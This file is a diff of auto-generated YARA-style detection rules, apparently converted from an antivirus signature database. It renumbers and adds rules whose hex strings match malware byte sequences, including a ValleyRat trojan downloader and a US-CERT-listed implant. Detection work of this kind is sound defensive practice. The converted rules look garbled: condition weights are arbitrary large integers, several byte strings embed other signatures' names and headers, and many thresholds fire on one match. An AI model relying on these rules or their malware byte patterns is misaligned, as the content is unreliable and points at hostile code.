2e 43 46 00 01 00 04 01 54 b8 b9 1a 01 00 04 01 78 1f 20 7f 01 00 04 01 62 34 89 5e 01 00 04 01 73 80 48 06 01 00 04 01 a5 f2 5c 70 01 00 04 01 6e 74 64 6c 01 00 04 01 cb 79 b5 0d 01 00 04 01 c0 e9 18 15 01 00 04 01 cf 2c f4 } //0 condition: - ((#a_54_0 & 1)*18467+(#a_4d_1 & 1)*27503+(#a_33_2 & 1)*17456+(#a_00_3 & 1)*50+(#a_00_4 & 1)*15+(#a_49_5 & 1)*19770+(#a_00_6 & 1)*12592+(#a_43_7 & 1)*385+(#a_81_8 & 1)*1+(#a_81_9 & 1)*1+(#a_81_10 & 1)*1+(#a_81_11 & 1)*1+(#a_54_12 & 1)*0+(#a_41_13 & 1)*-28636) >=14 + ((#a_54_0 & 1)*18467+(#a_4d_1 & 1)*27503+(#a_33_2 & 1)*17456+(#a_00_3 & 1)*50+(#a_00_4 & 1)*15+(#a_49_5 & 1)*19770+(#a_00_6 & 1)*12592+(#a_43_7 & 1)*385+(#a_81_8 & 1)*1+(#a_81_9 & 1)*1+(#a_81_10 & 1)*1+(#a_81_11 & 1)*1+(#a_53_12 & 1)*0) >=14 } -rule _InfrastructureShared_18164{ +rule _InfrastructureShared_19330{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 0f 00 21 " @@ -219234,18 +233536,46 @@ rule _InfrastructureShared_18164{ $a_81_5 = {6c 6f 67 69 6e 2e 41 62 6f 75 74 42 6f 78 31 2e 72 65 73 6f 75 72 63 65 73 } //1 login.AboutBox1.resources $a_81_6 = {6c 6f 67 69 6e 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 } //1 login.Resources.resources $a_81_7 = {6c 6f 67 69 6e 2e 53 41 2e 53 75 70 65 72 41 64 76 65 6e 74 2e 72 65 73 6f 75 72 63 65 73 } //1 login.SA.SuperAdvent.resources - $a_54_8 = {00 01 00 01 00 04 00 21 23 41 4c 46 3a 59 32 56 3a 55 53 5f 43 45 52 54 2f 49 4d 50 4c 41 4e 54 5f 32 5f 76 38 00 01 00 56 03 44 89 44 24 60 41 f7 e0 8b f2 b8 ab aa aa aa c1 ee 02 89 74 24 58 44 8b 90 01 01 41 f7 90 01 01 8b ca ba 03 00 00 00 c1 e9 02 89 0c 24 8d 04 49 03 c0 44 2b 90 01 01 44 89 90 01 01 24 04 3b f1 0f 83 90 01 01 01 00 00 8d 1c 76 4c 89 6c } //0 - $a_41_9 = {8b 90 00 01 00 59 03 c5 41 f7 } //-28636 - $a_06_10 = {8d } //-28448 - $a_c9_11 = {c1 8b c8 } //21004 - $a_8d_12 = {90 } //400 - $a_0f_13 = {b6 0c 90 01 01 40 02 c7 41 8d 48 ff 44 32 c8 b8 ab aa aa aa f7 e1 c1 ea 02 8d 04 52 03 c0 2b c8 b8 ab aa aa aa 46 22 0c 90 01 01 41 8d 48 fe f7 e1 c1 ea 02 8d 04 52 03 c0 2b c8 8b c1 90 00 01 00 3f 03 41 f7 e0 } //257 - $a_41_14 = {c0 8d } //-5439 + $a_53_8 = {00 14 00 14 00 14 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 56 61 6c 6c 65 79 52 61 74 2e 43 46 00 01 00 04 01 54 b8 b9 1a 01 00 04 01 78 1f 20 7f 01 00 04 01 62 34 89 5e 01 00 04 01 73 80 48 06 01 00 04 01 a5 f2 5c 70 01 00 04 01 6e 74 64 6c 01 00 04 01 cb 79 b5 0d 01 00 04 01 c0 e9 18 15 01 00 04 01 cf 2c f4 } //0 + $a_ac_10 = {01 00 04 01 b2 34 61 0f 01 00 04 01 dc 87 83 0f 01 00 04 01 da 50 } //6913 + $a_00_11 = {04 } //2347 + $a_3a_12 = {01 00 04 01 d7 7d 5e 78 01 00 04 01 01 95 53 41 01 00 04 01 9f 2d 40 26 01 00 04 01 34 26 52 33 0a 00 5d 01 43 0f b6 4c 1a 04 4c 8b 83 a0 00 00 00 b8 21 00 f3 20 49 ff c2 f7 e9 c1 fa 08 8b c2 c1 e8 1f 03 d0 b8 67 66 66 66 69 d2 c5 07 00 00 2b ca f7 ef 80 c1 36 43 30 0c 08 c1 fa 02 8b cf 8b c2 c1 e8 1f 03 d0 8d 04 92 03 c0 2b c8 f7 d9 48 1b c0 ff c7 49 ff c1 4c 23 d0 81 ff 0e d0 07 00 05 00 2c } //-14335 + $a_42_13 = {48 63 4a 2c c7 44 24 20 57 73 32 5f 48 03 c8 c7 44 24 24 33 32 2e 64 66 c7 44 24 28 6c 6c 48 8d 44 4a 38 48 8d 4c 24 20 00 00 78 54 01 00 01 00 01 00 04 00 21 23 41 4c 46 3a 59 32 56 3a 55 53 5f 43 45 52 54 2f 49 4d 50 4c 41 4e 54 5f 32 5f 76 38 00 01 00 56 03 44 89 44 24 60 41 f7 e0 8b f2 b8 ab } //18433 + $a_c1_14 = {02 89 74 24 58 44 8b 90 01 01 41 f7 90 01 01 8b ca ba 03 00 00 00 c1 e9 02 89 0c 24 8d 04 49 03 c0 44 2b 90 01 01 44 89 90 01 01 24 04 3b f1 0f 83 90 01 01 01 00 00 8d 1c 76 4c 89 6c 24 90 0a 41 00 8b 90 00 01 00 59 03 c5 41 f7 e0 90 01 06 8d 0c 52 03 c9 2b c1 8b c8 90 01 01 8d 04 90 01 01 46 0f b6 0c 90 01 01 40 02 c7 41 8d 48 ff 44 32 c8 b8 ab aa aa aa f7 e1 c1 ea 02 8d 04 52 03 c0 2b c8 b8 ab aa aa aa 46 22 0c 90 01 01 41 8d 48 fe f7 e1 c1 ea 02 8d 04 52 03 c0 2b c8 8b c1 90 00 01 00 3f 03 41 f7 e0 c1 } //-21846 condition: - ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*21061+(#a_43_2 & 1)*385+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1+(#a_54_8 & 1)*0+(#a_41_9 & 1)*-28636+(#a_06_10 & 1)*-28448+(#a_c9_11 & 1)*21004+(#a_8d_12 & 1)*400+(#a_0f_13 & 1)*257+(#a_41_14 & 1)*-5439) >=15 + ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*21061+(#a_43_2 & 1)*385+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1+(#a_53_8 & 1)*0+(#a_ac_10 & 1)*6913+(#a_00_11 & 1)*2347+(#a_3a_12 & 1)*-14335+(#a_42_13 & 1)*18433+(#a_c1_14 & 1)*-21846) >=15 } -rule _InfrastructureShared_18165{ +rule _InfrastructureShared_19331{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 14 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 56 61 6c 6c 65 79 52 61 74 2e 43 46 00 01 00 04 01 54 b8 b9 1a 01 00 04 01 78 1f 20 7f 01 00 04 01 62 34 89 5e 01 00 04 01 73 80 48 06 01 00 04 01 a5 f2 5c 70 } //16675 + $a_01_1 = {6e 74 64 6c } //1 ntdl + $a_01_2 = {cb 79 b5 0d } //1 + $a_01_3 = {c0 e9 18 15 } //1 + $a_01_4 = {cf 2c f4 4f } //1 + $a_01_5 = {1b 16 ac 14 } //1 + $a_01_6 = {b2 34 61 0f } //1 + $a_01_7 = {dc 87 83 0f } //1 + $a_01_8 = {da 50 2b 09 } //1 + $a_01_9 = {c8 84 3a 31 } //1 + $a_01_10 = {d7 7d 5e 78 } //1 + $a_01_11 = {01 95 53 41 } //1 + $a_01_12 = {9f 2d 40 26 } //1 + $a_01_13 = {34 26 52 33 } //1 4&R3 + $a_01_14 = {43 0f b6 4c 1a 04 4c 8b 83 a0 00 00 00 b8 21 00 f3 20 49 ff c2 f7 e9 c1 fa 08 8b c2 c1 e8 1f 03 d0 b8 67 66 66 66 69 d2 c5 07 00 00 2b ca f7 ef 80 c1 36 43 30 0c 08 c1 fa 02 8b cf 8b c2 c1 e8 1f 03 d0 8d 04 92 03 c0 2b c8 f7 d9 48 1b c0 ff c7 49 ff c1 4c 23 d0 81 ff 0e d0 07 00 } //10 + $a_01_15 = {48 63 42 20 48 63 4a 2c c7 44 24 20 57 73 32 5f 48 03 c8 c7 44 24 24 33 32 2e 64 66 c7 44 24 28 6c 6c 48 8d 44 4a 38 48 8d 4c 24 20 } //5 + $a_54_16 = {00 01 00 01 00 04 00 21 23 41 4c 46 3a 59 32 56 3a 55 53 5f 43 45 52 54 2f 49 4d 50 4c 41 4e 54 5f 32 5f 76 38 00 01 00 56 03 44 89 44 24 60 41 f7 e0 8b f2 b8 ab aa aa aa c1 ee 02 89 74 24 58 44 8b 90 01 01 41 f7 90 01 01 8b ca ba 03 00 00 00 c1 e9 02 89 0c 24 8d 04 49 03 c0 44 2b 90 01 01 44 89 90 01 01 24 04 3b f1 0f 83 90 01 01 01 00 00 8d 1c 76 4c 89 6c } //0 + $a_41_17 = {8b 90 00 01 00 59 03 c5 41 f7 } //-28636 + $a_06_18 = {8d } //-28448 + $a_c9_19 = {c1 8b c8 } //21004 + condition: + ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_01_11 & 1)*1+(#a_01_12 & 1)*1+(#a_01_13 & 1)*1+(#a_01_14 & 1)*10+(#a_01_15 & 1)*5+(#a_54_16 & 1)*0+(#a_41_17 & 1)*-28636+(#a_06_18 & 1)*-28448+(#a_c9_19 & 1)*21004) >=20 + +} +rule _InfrastructureShared_19332{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -219258,7 +233588,7 @@ rule _InfrastructureShared_18165{ ((#a_46_0 & 1)*16675+(#a_44_1 & 1)*841+(#a_00_2 & 1)*144+(#a_48_3 & 1)*16643) >=1 } -rule _InfrastructureShared_18166{ +rule _InfrastructureShared_19333{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -219271,7 +233601,7 @@ rule _InfrastructureShared_18166{ ((#a_46_0 & 1)*16675+(#a_25_1 & 1)*9571+(#a_fa_2 & 1)*-13685+(#a_00_3 & 1)*656) >=1 } -rule _InfrastructureShared_18167{ +rule _InfrastructureShared_19334{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 07 00 21 " @@ -219287,7 +233617,7 @@ rule _InfrastructureShared_18167{ ((#a_46_0 & 1)*16675+(#a_34_1 & 1)*13156+(#a_66_2 & 1)*13625+(#a_2d_3 & 1)*13153+(#a_65_4 & 1)*12643+(#a_32_5 & 1)*12597+(#a_49_6 & 1)*11892) >=1 } -rule _InfrastructureShared_18168{ +rule _InfrastructureShared_19335{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -219298,7 +233628,7 @@ rule _InfrastructureShared_18168{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*-28556) >=2 } -rule _InfrastructureShared_18169{ +rule _InfrastructureShared_19336{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -219309,7 +233639,7 @@ rule _InfrastructureShared_18169{ ((#a_46_0 & 1)*16675+(#a_c2_1 & 1)*1016) >=2 } -rule _InfrastructureShared_18170{ +rule _InfrastructureShared_19337{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -219320,7 +233650,7 @@ rule _InfrastructureShared_18170{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*920) >=3 } -rule _InfrastructureShared_18171{ +rule _InfrastructureShared_19338{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -219332,7 +233662,7 @@ rule _InfrastructureShared_18171{ ((#a_54_0 & 1)*18467+(#a_28_1 & 1)*17545+(#a_b0_2 & 1)*-30388) >=3 } -rule _InfrastructureShared_18172{ +rule _InfrastructureShared_19339{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 07 00 21 " @@ -219347,7 +233677,7 @@ rule _InfrastructureShared_18172{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*400+(#a_73_2 & 1)*25970+(#a_25_3 & 1)*8316+(#a_01_4 & 1)*25972+(#a_00_5 & 1)*102) >=8 } -rule _InfrastructureShared_18173{ +rule _InfrastructureShared_19340{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 0a 00 21 " @@ -219366,7 +233696,7 @@ rule _InfrastructureShared_18173{ ((#a_46_0 & 1)*16675+(#a_02_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1+(#a_00_7 & 1)*1+(#a_00_8 & 1)*1+(#a_00_9 & 1)*1) >=8 } -rule _InfrastructureShared_18174{ +rule _InfrastructureShared_19341{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -219385,7 +233715,7 @@ rule _InfrastructureShared_18174{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_54_9 & 1)*0) >=10 } -rule _InfrastructureShared_18175{ +rule _InfrastructureShared_19342{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -219405,7 +233735,7 @@ rule _InfrastructureShared_18175{ ((#a_54_0 & 1)*18467+(#a_2e_1 & 1)*28261+(#a_65_2 & 1)*28277+(#a_00_3 & 1)*29816+(#a_61_4 & 1)*385+(#a_65_5 & 1)*25199+(#a_65_6 & 1)*28004+(#a_00_7 & 1)*1+(#a_6e_8 & 1)*22330+(#a_00_9 & 1)*88+(#a_00_10 & 1)*61) >=11 } -rule _InfrastructureShared_18176{ +rule _InfrastructureShared_19343{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -219425,7 +233755,7 @@ rule _InfrastructureShared_18176{ ((#a_54_0 & 1)*18467+(#a_5c_1 & 1)*25971+(#a_2e_2 & 1)*28257+(#a_68_3 & 1)*24931+(#a_00_4 & 1)*37+(#a_00_5 & 1)*56+(#a_22_6 & 1)*12851+(#a_00_7 & 1)*27503+(#a_61_8 & 1)*25857+(#a_21_9 & 1)*13899+(#a_38_10 & 1)*13668) >=11 } -rule _InfrastructureShared_18177{ +rule _InfrastructureShared_19344{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 0a 00 21 " @@ -219443,7 +233773,7 @@ rule _InfrastructureShared_18177{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*37+(#a_77_3 & 1)*29282+(#a_01_4 & 1)*28527+(#a_65_5 & 1)*29806+(#a_41_6 & 1)*29797+(#a_48_7 & 1)*-32489+(#a_6d_8 & 1)*17966+(#a_00_9 & 1)*1) >=13 } -rule _InfrastructureShared_18178{ +rule _InfrastructureShared_19345{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 0d 00 21 " @@ -219465,7 +233795,7 @@ rule _InfrastructureShared_18178{ ((#a_54_0 & 1)*18467+(#a_2d_1 & 1)*26161+(#a_2e_2 & 1)*17998+(#a_65_3 & 1)*29797+(#a_6c_4 & 1)*25940+(#a_73_5 & 1)*21108+(#a_01_6 & 1)*25972+(#a_61_7 & 1)*29541+(#a_65_8 & 1)*385+(#a_6c_9 & 1)*28271+(#a_74_10 & 1)*25965+(#a_6c_11 & 1)*30825+(#a_81_12 & 1)*1) >=13 } -rule _InfrastructureShared_18179{ +rule _InfrastructureShared_19346{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 0f 00 21 " @@ -219487,7 +233817,7 @@ rule _InfrastructureShared_18179{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*25924+(#a_69_2 & 1)*30051+(#a_76_3 & 1)*28531+(#a_01_4 & 1)*2048+(#a_00_5 & 1)*31084+(#a_63_6 & 1)*385+(#a_6c_8 & 1)*17153+(#a_6b_9 & 1)*24930+(#a_69_11 & 1)*385+(#a_65_12 & 1)*29301+(#a_69_13 & 1)*14958+(#a_3d_14 & 1)*28265) >=15 } -rule _InfrastructureShared_18180{ +rule _InfrastructureShared_19347{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 10 00 21 " @@ -219511,7 +233841,7 @@ rule _InfrastructureShared_18180{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*29779+(#a_69_2 & 1)*28530+(#a_5f_3 & 1)*15979+(#a_38_4 & 1)*14646+(#a_61_5 & 1)*29801+(#a_6f_6 & 1)*25938+(#a_50_7 & 1)*17481+(#a_72_8 & 1)*30240+(#a_72_9 & 1)*30575+(#a_73_10 & 1)*25970+(#a_74_11 & 1)*29271+(#a_ff_12 & 1)*22276+(#a_1b_13 & 1)*30207+(#a_00_15 & 1)*114) >=16 } -rule _InfrastructureShared_18181{ +rule _InfrastructureShared_19348{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,15 00 15 00 0c 00 21 " @@ -219531,7 +233861,7 @@ rule _InfrastructureShared_18181{ ((#a_54_0 & 1)*18467+(#a_35_1 & 1)*14381+(#a_2e_2 & 1)*25968+(#a_04_4 & 1)*22551+(#a_23_5 & 1)*12+(#a_3c_6 & 1)*-32397+(#a_6e_7 & 1)*28013+(#a_6e_8 & 1)*15726+(#a_00_9 & 1)*27756+(#a_74_10 & 1)*18177+(#a_43_11 & 1)*25449) >=21 } -rule _InfrastructureShared_18182{ +rule _InfrastructureShared_19349{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,24 00 24 00 0c 00 21 " @@ -219549,7 +233879,7 @@ rule _InfrastructureShared_18182{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*19557+(#a_74_2 & 1)*18177+(#a_43_3 & 1)*25449+(#a_6f_4 & 1)*20581+(#a_01_5 & 1)*5631+(#a_01_7 & 1)*30720+(#a_00_9 & 1)*99+(#a_00_11 & 1)*32) >=36 } -rule _InfrastructureShared_18183{ +rule _InfrastructureShared_19350{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,47 00 42 00 06 00 21 " @@ -219563,7 +233893,7 @@ rule _InfrastructureShared_18183{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*25697+(#a_56_2 & 1)*1025+(#a_1b_3 & 1)*30207+(#a_00_5 & 1)*114) >=66 } -rule _InfrastructureShared_18184{ +rule _InfrastructureShared_19351{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -219573,7 +233903,7 @@ rule _InfrastructureShared_18184{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_18185{ +rule _InfrastructureShared_19352{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -219586,7 +233916,7 @@ rule _InfrastructureShared_18185{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*-29950+(#a_90_2 & 1)*257+(#a_90_3 & 1)*-240) >=1 } -rule _InfrastructureShared_18186{ +rule _InfrastructureShared_19353{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 09 00 21 " @@ -219601,7 +233931,7 @@ rule _InfrastructureShared_18186{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*-6040+(#a_90_4 & 1)*-9968+(#a_90_6 & 1)*-240+(#a_02_7 & 1)*5+(#a_10_8 & 1)*-28668) >=1 } -rule _InfrastructureShared_18187{ +rule _InfrastructureShared_19354{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -219614,7 +233944,7 @@ rule _InfrastructureShared_18187{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*116+(#a_09_2 & 1)*11408+(#a_2d_3 & 1)*14637) >=2 } -rule _InfrastructureShared_18188{ +rule _InfrastructureShared_19355{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 05 00 21 " @@ -219626,7 +233956,7 @@ rule _InfrastructureShared_18188{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*29810+(#a_69_2 & 1)*108) >=2 } -rule _InfrastructureShared_18189{ +rule _InfrastructureShared_19356{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -219638,7 +233968,7 @@ rule _InfrastructureShared_18189{ ((#a_46_0 & 1)*16675+(#a_19_1 & 1)*1+(#a_00_2 & 1)*118) >=3 } -rule _InfrastructureShared_18190{ +rule _InfrastructureShared_19357{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -219649,7 +233979,7 @@ rule _InfrastructureShared_18190{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*105) >=3 } -rule _InfrastructureShared_18191{ +rule _InfrastructureShared_19358{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -219662,7 +233992,7 @@ rule _InfrastructureShared_18191{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*11585+(#a_00_2 & 1)*866+(#a_39_3 & 1)*12297) >=4 } -rule _InfrastructureShared_18192{ +rule _InfrastructureShared_19359{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 0c 00 21 " @@ -219682,7 +234012,7 @@ rule _InfrastructureShared_18192{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*28271+(#a_73_2 & 1)*23297+(#a_63_3 & 1)*19779+(#a_00_4 & 1)*5+(#a_6a_5 & 1)*29268+(#a_68_6 & 1)*25976+(#a_75_7 & 1)*24939+(#a_75_8 & 1)*24947+(#a_67_9 & 1)*29808+(#a_13_11 & 1)*553) >=4 } -rule _InfrastructureShared_18193{ +rule _InfrastructureShared_19360{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 07 00 21 " @@ -219698,7 +234028,7 @@ rule _InfrastructureShared_18193{ ((#a_54_0 & 1)*18467+(#a_68_1 & 1)*27649+(#a_6a_2 & 1)*29289+(#a_6f_3 & 1)*25963+(#a_6c_4 & 1)*29550+(#a_9e_5 & 1)*26880+(#a_74_6 & 1)*28026) >=5 } -rule _InfrastructureShared_18194{ +rule _InfrastructureShared_19361{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -219714,7 +234044,7 @@ rule _InfrastructureShared_18194{ ((#a_46_0 & 1)*21283+(#a_6e_1 & 1)*28783+(#a_79_2 & 1)*28769+(#a_70_3 & 1)*29283+(#a_72_4 & 1)*26957+(#a_61_5 & 1)*29798+(#a_69_6 & 1)*24940) >=7 } -rule _InfrastructureShared_18195{ +rule _InfrastructureShared_19362{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -219730,7 +234060,7 @@ rule _InfrastructureShared_18195{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*28265+(#a_74_2 & 1)*28531+(#a_6d_3 & 1)*27484+(#a_6c_4 & 1)*28530+(#a_65_6 & 1)*23553+(#a_74_7 & 1)*25965) >=8 } -rule _InfrastructureShared_18196{ +rule _InfrastructureShared_19363{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -219746,7 +234076,7 @@ rule _InfrastructureShared_18196{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*28001+(#a_65_2 & 1)*25697+(#a_65_3 & 1)*28530+(#a_65_4 & 1)*29441+(#a_00_6 & 1)*100+(#a_23_7 & 1)*9) >=8 } -rule _InfrastructureShared_18197{ +rule _InfrastructureShared_19364{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 09 00 21 " @@ -219762,7 +234092,7 @@ rule _InfrastructureShared_18197{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*109+(#a_00_2 & 1)*115+(#a_00_5 & 1)*1+(#a_53_6 & 1)*14930+(#a_72_7 & 1)*30579+(#a_4d_8 & 1)*25972) >=8 } -rule _InfrastructureShared_18198{ +rule _InfrastructureShared_19365{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -219780,7 +234110,7 @@ rule _InfrastructureShared_18198{ ((#a_54_0 & 1)*18467+(#a_43_1 & 1)*29295+(#a_01_2 & 1)*25955+(#a_02_3 & 1)*5641+(#a_63_4 & 1)*30063+(#a_4c_5 & 1)*8993+(#a_50_6 & 1)*27491+(#a_6e_7 & 1)*26995+(#a_3b_8 & 1)*29801) >=9 } -rule _InfrastructureShared_18199{ +rule _InfrastructureShared_19366{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -219796,7 +234126,7 @@ rule _InfrastructureShared_18199{ ((#a_54_0 & 1)*18467+(#a_18_1 & 1)*0+(#a_65_3 & 1)*385+(#a_6e_4 & 1)*22273+(#a_34_5 & 1)*385+(#a_00_6 & 1)*21880+(#a_41_8 & 1)*8448) >=9 } -rule _InfrastructureShared_18200{ +rule _InfrastructureShared_19367{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 08 00 21 " @@ -219813,7 +234143,7 @@ rule _InfrastructureShared_18200{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*24941+(#a_2e_2 & 1)*28271+(#a_5d_3 & 1)*8301+(#a_01_4 & 1)*30720+(#a_61_5 & 1)*28793+(#a_65_6 & 1)*27749+(#a_6b_7 & 1)*25971) >=10 } -rule _InfrastructureShared_18201{ +rule _InfrastructureShared_19368{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -219831,7 +234161,7 @@ rule _InfrastructureShared_18201{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*26963+(#a_65_2 & 1)*28265+(#a_74_3 & 1)*29298+(#a_5a_4 & 1)*16762+(#a_39_5 & 1)*12378+(#a_09_6 & 1)*14637+(#a_65_7 & 1)*28532+(#a_00_9 & 1)*0) >=10 } -rule _InfrastructureShared_18202{ +rule _InfrastructureShared_19369{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 08 00 21 " @@ -219846,7 +234176,7 @@ rule _InfrastructureShared_18202{ ((#a_46_0 & 1)*16675+(#a_2d_1 & 1)*23085+(#a_2d_3 & 1)*2305+(#a_90_4 & 1)*11568+(#a_78_5 & 1)*283+(#a_00_6 & 1)*506) >=15 } -rule _InfrastructureShared_18203{ +rule _InfrastructureShared_19370{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 05 00 21 " @@ -219856,7 +234186,7 @@ rule _InfrastructureShared_18203{ ((#a_54_0 & 1)*18467) >=16 } -rule _InfrastructureShared_18204{ +rule _InfrastructureShared_19371{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -219868,7 +234198,7 @@ rule _InfrastructureShared_18204{ ((#a_54_0 & 1)*18467+(#a_f8_1 & 1)*-29880+(#a_05_2 & 1)*-28533) >=3 } -rule _InfrastructureShared_18205{ +rule _InfrastructureShared_19372{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -219881,7 +234211,7 @@ rule _InfrastructureShared_18205{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*11021+(#a_13_2 & 1)*1278+(#a_0c_4 & 1)*22551) >=5 } -rule _InfrastructureShared_18206{ +rule _InfrastructureShared_19373{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 21 " @@ -219894,7 +234224,7 @@ rule _InfrastructureShared_18206{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*27753+(#a_2e_2 & 1)*26736+(#a_74_3 & 1)*18222) >=5 } -rule _InfrastructureShared_18207{ +rule _InfrastructureShared_19374{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 0a 00 21 " @@ -219912,7 +234242,7 @@ rule _InfrastructureShared_18207{ ((#a_46_0 & 1)*16675+(#a_4c_1 & 1)*7936+(#a_01_3 & 1)*9364+(#a_45_4 